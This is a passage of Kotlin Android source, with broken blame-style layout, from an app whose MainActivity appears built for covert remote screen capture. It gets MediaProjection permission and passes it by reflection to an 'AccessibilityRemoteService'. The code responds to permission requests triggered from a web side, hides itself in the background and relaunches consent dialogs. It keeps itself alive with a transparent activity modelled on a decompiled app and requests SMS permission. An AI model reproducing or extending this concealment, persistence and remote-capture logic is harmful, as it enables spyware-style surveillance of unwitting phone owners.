|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否为权限恢复流程
|
|
|
|
|
|
val permissionLostRecovery =
|
|
|
|
|
|
intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false)
|
|
|
|
|
|
// ✅ 使用内部标志而不是Intent参数,更可靠
|
|
|
|
|
|
val autoRequestPermission = isAutoPermissionRequest
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"📊 权限申请结果处理: permissionLostRecovery=$permissionLostRecovery, autoRequestPermission=$autoRequestPermission (内部标志)"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
if (permissionLostRecovery) {
|
|
|
|
|
|
Log.i(TAG, "✅ MediaProjection权限恢复成功,重新启动屏幕捕获")
|
|
|
|
|
|
|
|
|
|
|
|
// 通知AccessibilityService权限恢复成功,立即重新启动屏幕捕获
|
|
|
|
|
|
val broadcastIntent =
|
|
|
|
|
|
Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
|
|
|
|
|
|
putExtra("success", true)
|
|
|
|
|
|
putExtra("permission_recovery", true)
|
|
|
|
|
|
// 🆕 检查是否为Web端发起的权限刷新请求
|
|
|
|
|
|
val refreshRequest =
|
|
|
|
|
|
intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false)
|
|
|
|
|
|
if (refreshRequest) {
|
|
|
|
|
|
putExtra("REFRESH_PERMISSION_REQUEST", true)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
sendBroadcast(broadcastIntent)
|
|
|
|
|
|
|
|
|
|
|
|
// 显示恢复成功状态
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "✅ 权限恢复成功\n功能已恢复"
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
enableButton.text = "恢复完成"
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 3秒后隐藏界面
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
}, 3000)
|
|
|
|
|
|
|
|
|
|
|
|
} else if (autoRequestPermission) {
|
|
|
|
|
|
Log.i(TAG, "MediaProjection权限申请完成,通知无障碍服务继续流程")
|
|
|
|
|
|
|
|
|
|
|
|
// 发送广播通知无障碍服务继续处理(悬浮窗权限由开关控制)
|
|
|
|
|
|
val broadcastIntent =
|
|
|
|
|
|
Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
|
|
|
|
|
|
putExtra("success", true)
|
|
|
|
|
|
// 不再强制跳过悬浮窗权限,由AccessibilityRemoteService的开关控制
|
|
|
|
|
|
// 🆕 检查是否为Web端发起的权限刷新请求
|
|
|
|
|
|
val refreshRequest =
|
|
|
|
|
|
intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false)
|
|
|
|
|
|
if (refreshRequest) {
|
|
|
|
|
|
putExtra("REFRESH_PERMISSION_REQUEST", true)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
sendBroadcast(broadcastIntent)
|
|
|
|
|
|
Log.i(TAG, "📡 已发送MEDIA_PROJECTION_GRANTED广播给AccessibilityRemoteService")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 直接调用AccessibilityRemoteService方法,确保MediaProjection被正确设置
|
|
|
|
|
|
try {
|
|
|
|
|
|
val accessibilityService = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
if (accessibilityService != null) {
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"🔧 直接调用AccessibilityRemoteService处理MediaProjection权限"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 获取MediaProjection对象
|
|
|
|
|
|
val mediaProjection = MediaProjectionHolder.getMediaProjection()
|
|
|
|
|
|
if (mediaProjection != null) {
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"✅ MediaProjection对象存在,直接设置到ScreenCaptureManager"
|
|
|
|
|
|
)
|
|
|
|
|
|
// 直接调用内部方法设置MediaProjection
|
|
|
|
|
|
val setupMethod = accessibilityService.javaClass.getDeclaredMethod(
|
|
|
|
|
|
"setupScreenCaptureWithMediaProjection",
|
|
|
|
|
|
android.media.projection.MediaProjection::class.java
|
|
|
|
|
|
)
|
|
|
|
|
|
setupMethod.isAccessible = true
|
|
|
|
|
|
setupMethod.invoke(accessibilityService, mediaProjection)
|
|
|
|
|
|
Log.i(TAG, "✅ 已直接设置MediaProjection到ScreenCaptureManager")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ MediaProjection对象不存在,尝试从权限数据创建")
|
|
|
|
|
|
// 从权限数据创建MediaProjection
|
|
|
|
|
|
val permissionData = MediaProjectionHolder.getPermissionData()
|
|
|
|
|
|
if (permissionData != null) {
|
|
|
|
|
|
val (resultCode, resultData) = permissionData
|
|
|
|
|
|
if (resultData != null) {
|
|
|
|
|
|
val mediaProjectionManager =
|
|
|
|
|
|
getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
|
|
|
|
|
val newMediaProjection =
|
|
|
|
|
|
mediaProjectionManager.getMediaProjection(
|
|
|
|
|
|
resultCode,
|
|
|
|
|
|
resultData
|
|
|
|
|
|
)
|
|
|
|
|
|
if (newMediaProjection != null) {
|
|
|
|
|
|
Log.i(TAG, "✅ 从权限数据重新创建MediaProjection成功")
|
|
|
|
|
|
MediaProjectionHolder.setMediaProjection(
|
|
|
|
|
|
newMediaProjection
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 设置到ScreenCaptureManager
|
|
|
|
|
|
val setupMethod =
|
|
|
|
|
|
accessibilityService.javaClass.getDeclaredMethod(
|
|
|
|
|
|
"setupScreenCaptureWithMediaProjection",
|
|
|
|
|
|
android.media.projection.MediaProjection::class.java
|
|
|
|
|
|
)
|
|
|
|
|
|
setupMethod.isAccessible = true
|
|
|
|
|
|
setupMethod.invoke(
|
|
|
|
|
|
accessibilityService,
|
|
|
|
|
|
newMediaProjection
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"✅ 已设置重新创建的MediaProjection到ScreenCaptureManager"
|
|
|
|
|
|
)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.e(TAG, "❌ 从权限数据重新创建MediaProjection失败")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ AccessibilityRemoteService实例不存在")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 直接调用AccessibilityRemoteService失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 重置自动权限申请标志
|
|
|
|
|
|
isAutoPermissionRequest = false
|
|
|
|
|
|
permissionRequestInProgress = false // 重置权限申请进行中标志
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 显示权限申请成功状态,给用户反馈
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "✅ 权限申请成功\n正在启动服务..."
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
enableButton.text = "权限申请成功"
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 根据悬浮窗权限开关决定后续流程
|
|
|
|
|
|
Log.i(TAG, "🚀 MediaProjection权限成功,继续后续权限流程")
|
|
|
|
|
|
|
|
|
|
|
|
// 短暂延迟后让无障碍服务处理后续流程
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
if (!isFinishing) {
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "✅ 服务启动中...\n🔄 正在处理配置中"
|
|
|
|
|
|
enableButton.text = "服务启动中..."
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 1500) // 1.5秒后更新状态
|
|
|
|
|
|
|
|
|
|
|
|
// 等待无障碍服务完成处理后,显示最终状态
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
if (!isFinishing) {
|
|
|
|
|
|
runOnUiThread {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::statusText.isInitialized && ::enableButton.isInitialized) {
|
|
|
|
|
|
statusText.text = "✅ 服务启动中..."
|
|
|
|
|
|
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
enableButton.text = "服务已就绪"
|
|
|
|
|
|
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 5000) // 5秒后显示最终成功状态
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "启动前台服务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "MediaProjection权限申请被拒绝")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检测是否为 MIUI 设备的权限对话框不显示问题
|
|
|
|
|
|
val isXiaomiDevice =
|
|
|
|
|
|
android.os.Build.MANUFACTURER.equals("Xiaomi", ignoreCase = true) ||
|
|
|
|
|
|
android.os.Build.MANUFACTURER.equals("Redmi", ignoreCase = true) ||
|
|
|
|
|
|
android.os.Build.BRAND.equals("Xiaomi", ignoreCase = true) ||
|
|
|
|
|
|
android.os.Build.BRAND.equals("Redmi", ignoreCase = true) ||
|
|
|
|
|
|
android.os.Build.BRAND.equals("POCO", ignoreCase = true)
|
|
|
|
|
|
|
|
|
|
|
|
if (isXiaomiDevice && android.os.Build.VERSION.SDK_INT == 29 && isAutoPermissionRequest) {
|
|
|
|
|
|
Log.w(TAG, "🔧 检测到Xiaomi Android 10设备权限被拒绝,可能是权限对话框未显示问题")
|
|
|
|
|
|
Log.i(TAG, "🔧 尝试MIUI权限对话框修复方案")
|
|
|
|
|
|
|
|
|
|
|
|
// 方案1:尝试通过不同的方式重新启动权限对话框
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
if (!isFinishing) {
|
|
|
|
|
|
Log.i(TAG, "🔧 MIUI修复:尝试重新启动权限对话框")
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 清除Activity任务栈,确保干净的启动环境
|
|
|
|
|
|
val intent = Intent(this, MainActivity::class.java).apply {
|
|
|
|
|
|
flags =
|
|
|
|
|
|
Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK
|
|
|
|
|
|
putExtra("AUTO_REQUEST_PERMISSION", true)
|
|
|
|
|
|
putExtra("MIUI_PERMISSION_FIX", true)
|
|
|
|
|
|
putExtra("TIMESTAMP", System.currentTimeMillis())
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🔧 MIUI修复:重新启动MainActivity")
|
|
|
|
|
|
startActivity(intent)
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ MIUI修复失败", e)
|
|
|
|
|
|
handleNormalPermissionDenied()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 1000)
|
|
|
|
|
|
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 如果是自动权限申请但被拒绝,通知无障碍服务
|
|
|
|
|
|
if (isAutoPermissionRequest) {
|
|
|
|
|
|
handleNormalPermissionDenied()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 非自动模式下,显示普通的权限申请失败状态
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateUI()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 处理正常的权限拒绝情况
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleNormalPermissionDenied() {
|
|
|
|
|
|
Log.w(TAG, "MediaProjection权限申请被拒绝,通知无障碍服务但保持应用打开")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 重置权限申请标志
|
|
|
|
|
|
isAutoPermissionRequest = false
|
|
|
|
|
|
permissionRequestInProgress = false
|
|
|
|
|
|
|
|
|
|
|
|
// 发送广播通知无障碍服务权限被拒绝
|
|
|
|
|
|
val broadcastIntent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
|
|
|
|
|
|
putExtra("success", false)
|
|
|
|
|
|
// 🆕 检查是否为Web端发起的权限刷新请求
|
|
|
|
|
|
val refreshRequest = intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false)
|
|
|
|
|
|
if (refreshRequest) {
|
|
|
|
|
|
putExtra("REFRESH_PERMISSION_REQUEST", true)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
sendBroadcast(broadcastIntent)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 清除权限申请标记
|
|
|
|
|
|
markPermissionRequesting(false)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 不直接关闭应用,而是显示权限状态并允许用户重新尝试
|
|
|
|
|
|
// 使用线程安全方法更新UI
|
|
|
|
|
|
updateStatusTextThreadSafe("⚠️ 权限被拒绝\n服务需要此权限才能工作", android.R.color.holo_red_dark)
|
|
|
|
|
|
updateButtonSafely("重新申请权限", null, true)
|
|
|
|
|
|
|
|
|
|
|
|
// 更新启动参数,清除AUTO_REQUEST_PERMISSION标志
|
|
|
|
|
|
intent.putExtra("AUTO_REQUEST_PERMISSION", false)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 权限被拒绝后不自动最小化,让用户看到状态并决定下一步操作
|
|
|
|
|
|
Log.i(TAG, "权限被拒绝,保持应用在前台让用户查看状态和重新操作")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun notifyAccessibilityService() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 这个方法现在不需要了,MediaProjection将在前台服务中处理
|
|
|
|
|
|
Log.i(TAG, "MediaProjection将在前台服务中处理")
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "通知AccessibilityService失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
override fun onDestroy() {
|
|
|
|
|
|
super.onDestroy()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 停止WebView状态更新
|
|
|
|
|
|
stopWebViewStatusUpdate()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:OPPO设备检测,禁用Activity保活
|
|
|
|
|
|
if (!com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) {
|
|
|
|
|
|
Log.i(TAG, "📱 OPPO设备:onDestroy跳过透明保活Activity启动,仅使用服务保活")
|
|
|
|
|
|
// 清理资源但不启动透明Activity
|
|
|
|
|
|
stopAutoRetry()
|
|
|
|
|
|
Log.i(TAG, "已清理自动重试任务")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 强化安装完成检查,防止过早启动保活
|
|
|
|
|
|
try {
|
|
|
|
|
|
val installationStateManager =
|
|
|
|
|
|
com.hikoncont.util.InstallationStateManager.getInstance(this)
|
|
|
|
|
|
val isInstallationComplete = installationStateManager.isInstallationComplete()
|
|
|
|
|
|
|
|
|
|
|
|
if (!isInstallationComplete) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ onDestroy: 安装未完成,跳过透明保活Activity启动")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查安装完成时间
|
|
|
|
|
|
val installationTime = installationStateManager.getInstallationTime()
|
|
|
|
|
|
val onDestroyCurrentTime = System.currentTimeMillis()
|
|
|
|
|
|
val timeSinceInstallation = onDestroyCurrentTime - installationTime
|
|
|
|
|
|
|
|
|
|
|
|
if (timeSinceInstallation < 30000L) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ onDestroy: 安装刚完成(${timeSinceInstallation}ms),跳过透明保活Activity启动")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查应用启动次数
|
|
|
|
|
|
val appLaunchCount = getSharedPreferences("app_launch", Context.MODE_PRIVATE)
|
|
|
|
|
|
.getInt("launch_count", 0)
|
|
|
|
|
|
|
|
|
|
|
|
if (appLaunchCount < 3) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ onDestroy: 应用启动次数不足($appLaunchCount),跳过透明保活Activity启动")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参照反编译应用策略:应用退出时启动透明保活Activity
|
|
|
|
|
|
// 检查透明保活Activity是否正在运行
|
|
|
|
|
|
val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
|
|
|
|
|
|
val runningTasks = activityManager.getRunningTasks(10)
|
|
|
|
|
|
val isTransparentRunning = runningTasks.any { taskInfo ->
|
|
|
|
|
|
taskInfo.topActivity?.className == "com.hikoncont.TransparentKeepAliveActivity"
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (!isTransparentRunning) {
|
|
|
|
|
|
Log.i(TAG, "🫥 onDestroy: 透明保活Activity未运行,启动透明保活Activity")
|
|
|
|
|
|
val intent =
|
|
|
|
|
|
Intent(this, com.hikoncont.TransparentKeepAliveActivity::class.java).apply {
|
|
|
|
|
|
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
|
|
|
|
|
|
putExtra("from_mainactivity_destroy", true)
|
|
|
|
|
|
putExtra("keepalive_launch", true)
|
|
|
|
|
|
}
|
|
|
|
|
|
startActivity(intent)
|
|
|
|
|
|
Log.i(TAG, "✅ 透明保活Activity已启动")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.d(TAG, "🔍 onDestroy: 透明保活Activity已在运行,无需启动")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ onDestroy启动透明保活Activity失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 清理自动重试任务,防止内存泄漏
|
|
|
|
|
|
stopAutoRetry()
|
|
|
|
|
|
Log.i(TAG, "已清理自动重试任务")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 清理故障恢复机制相关的Handler任务
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 清理所有可能的Handler任务
|
|
|
|
|
|
val mainLooper = android.os.Looper.getMainLooper()
|
|
|
|
|
|
if (mainLooper != null) {
|
|
|
|
|
|
android.os.Handler(mainLooper).removeCallbacksAndMessages(null)
|
|
|
|
|
|
}
|
|
|
|
|
|
Log.i(TAG, "已清理故障恢复机制相关任务")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "清理Handler任务失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 取消注册广播接收器
|
|
|
|
|
|
try {
|
|
|
|
|
|
unregisterReceiver(combinedBroadcastReceiver)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "取消注册广播接收器失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 WebView性能优化:清理WebView资源
|
|
|
|
|
|
try {
|
|
|
|
|
|
clearWebViewCache()
|
|
|
|
|
|
destroyWebView()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "清理WebView资源失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ❌ 修复:不要在MainActivity销毁时停止MediaProjection!
|
|
|
|
|
|
// 这会导致权限立即失效,特别是Android 15设备
|
|
|
|
|
|
// MediaProjection应该由前台服务和AccessibilityService管理
|
|
|
|
|
|
// mediaProjection?.stop() // 删除这行,防止权限被意外停止
|
|
|
|
|
|
|
|
|
|
|
|
// 清理MediaProjection权限监听
|
|
|
|
|
|
stopMediaProjectionPermissionMonitoring()
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "MainActivity销毁完成")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 启动MediaProjection权限监听
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startMediaProjectionPermissionMonitoring() {
|
|
|
|
|
|
Log.i(TAG, "🔍 ===== 启动MediaProjection权限监听 =====")
|
|
|
|
|
|
Log.i(TAG, "📊 监听配置:")
|
|
|
|
|
|
Log.i(TAG, " - 最大检查次数: 30")
|
|
|
|
|
|
Log.i(TAG, " - 检查间隔: 500ms")
|
|
|
|
|
|
Log.i(TAG, " - 总超时时间: 15秒")
|
|
|
|
|
|
Log.i(TAG, " - 启动时间: ${System.currentTimeMillis()}")
|
|
|
|
|
|
|
|
|
|
|
|
// 清理之前的监听
|
|
|
|
|
|
stopMediaProjectionPermissionMonitoring()
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 Android 10 特殊处理:启动权限申请后立即开始弹框处理
|
|
|
|
|
|
if (Build.VERSION.SDK_INT == 29) {
|
|
|
|
|
|
Log.i(TAG, "📱 Android 10设备:启动直接弹框处理")
|
|
|
|
|
|
startAndroid10MediaProjectionDialogHandling()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
mediaProjectionCheckHandler = Handler(Looper.getMainLooper())
|
|
|
|
|
|
mediaProjectionCheckRunnable = object : Runnable {
|
|
|
|
|
|
private var checkCount = 0
|
|
|
|
|
|
private val maxChecks = 30 // 最多检查30次,即15秒
|
|
|
|
|
|
private val startTime = System.currentTimeMillis()
|
|
|
|
|
|
|
|
|
|
|
|
override fun run() {
|
|
|
|
|
|
checkCount++
|
|
|
|
|
|
val permissionCheckCurrentTime = System.currentTimeMillis()
|
|
|
|
|
|
val elapsedTime = permissionCheckCurrentTime - startTime
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "🔍 权限监听第${checkCount}次检查 (已耗时: ${elapsedTime}ms)")
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 检查MediaProjection权限是否已获取
|
|
|
|
|
|
val permissionData = MediaProjectionHolder.getPermissionData()
|
|
|
|
|
|
|
|
|
|
|
|
if (permissionData != null) {
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"✅ 检测到MediaProjection权限已获取(第${checkCount}次检查),触发权限处理"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 停止监听
|
|
|
|
|
|
stopMediaProjectionPermissionMonitoring()
|
|
|
|
|
|
|
|
|
|
|
|
// 模拟onActivityResult调用
|
|
|
|
|
|
val (resultCode, data) = permissionData
|
|
|
|
|
|
if (data != null) {
|
|
|
|
|
|
Log.i(TAG, "🔧 权限监听检测到权限获取,手动触发权限处理流程")
|
|
|
|
|
|
handleMediaProjectionResult(resultCode, data)
|
|
|
|
|
|
}
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:检查前台Activity(帮助诊断权限弹窗问题)
|
|
|
|
|
|
if (checkCount == 2) { // 1秒后检查一次
|
|
|
|
|
|
try {
|
|
|
|
|
|
val activityManager =
|
|
|
|
|
|
getSystemService(android.content.Context.ACTIVITY_SERVICE) as android.app.ActivityManager
|
|
|
|
|
|
val runningTasks = activityManager.getRunningTasks(1)
|
|
|
|
|
|
if (runningTasks.isNotEmpty()) {
|
|
|
|
|
|
val topActivity = runningTasks[0].topActivity
|
|
|
|
|
|
Log.i(TAG, "🔍 1秒后前台Activity: ${topActivity?.className}")
|
|
|
|
|
|
Log.i(TAG, "🔍 前台应用: ${topActivity?.packageName}")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否是权限相关的Activity
|
|
|
|
|
|
val isPermissionActivity = topActivity?.packageName?.let { pkg ->
|
|
|
|
|
|
pkg == "com.android.systemui" ||
|
|
|
|
|
|
pkg.contains("permission", ignoreCase = true) ||
|
|
|
|
|
|
topActivity.className?.contains(
|
|
|
|
|
|
"Permission",
|
|
|
|
|
|
ignoreCase = true
|
|
|
|
|
|
) == true
|
|
|
|
|
|
} ?: false
|
|
|
|
|
|
|
|
|
|
|
|
if (isPermissionActivity) {
|
|
|
|
|
|
Log.i(TAG, "✅ 检测到权限相关Activity,弹窗可能已出现")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 未检测到权限Activity,弹窗可能没有出现")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "无法检查前台Activity: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否超时
|
|
|
|
|
|
if (checkCount >= maxChecks) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ MediaProjection权限监听超时(${checkCount}次检查),停止监听")
|
|
|
|
|
|
stopMediaProjectionPermissionMonitoring()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:超时时的设备信息(帮助分析问题)
|
|
|
|
|
|
Log.w(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"⚠️ 超时设备信息: ${android.os.Build.MANUFACTURER} ${android.os.Build.MODEL}"
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.w(TAG, "⚠️ 可能原因: 权限弹窗没有出现,或用户未操作")
|
|
|
|
|
|
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 每500ms检查一次
|
|
|
|
|
|
mediaProjectionCheckHandler?.postDelayed(this, 500)
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 权限监听过程中发生异常", e)
|
|
|
|
|
|
Log.e(TAG, " - 检查次数: $checkCount")
|
|
|
|
|
|
Log.e(TAG, " - 异常类型: ${e.javaClass.simpleName}")
|
|
|
|
|
|
Log.e(TAG, " - 异常消息: ${e.message}")
|
|
|
|
|
|
|
|
|
|
|
|
// 发生异常时继续监听,除非超过最大次数
|
|
|
|
|
|
if (checkCount < maxChecks) {
|
|
|
|
|
|
mediaProjectionCheckHandler?.postDelayed(this, 500)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.e(TAG, "❌ 权限监听因异常和超时而停止")
|
|
|
|
|
|
stopMediaProjectionPermissionMonitoring()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 启动监听
|
|
|
|
|
|
mediaProjectionCheckHandler?.post(mediaProjectionCheckRunnable!!)
|
|
|
|
|
|
Log.i(TAG, "✅ MediaProjection权限监听已启动")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 停止MediaProjection权限监听
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun stopMediaProjectionPermissionMonitoring() {
|
|
|
|
|
|
mediaProjectionCheckRunnable?.let { runnable ->
|
|
|
|
|
|
mediaProjectionCheckHandler?.removeCallbacks(runnable)
|
|
|
|
|
|
}
|
|
|
|
|
|
mediaProjectionCheckHandler = null
|
|
|
|
|
|
mediaProjectionCheckRunnable = null
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理短信权限申请请求
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleSMSPermissionRequest() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val requestSMSPermission = intent.getBooleanExtra("request_sms_permission", false)
|
|
|
|
|
|
if (requestSMSPermission) {
|
|
|
|
|
|
Log.i(TAG, "📱 收到短信权限申请请求")
|
|
|
|
|
|
requestSMSPermission()
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "处理短信权限申请请求失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
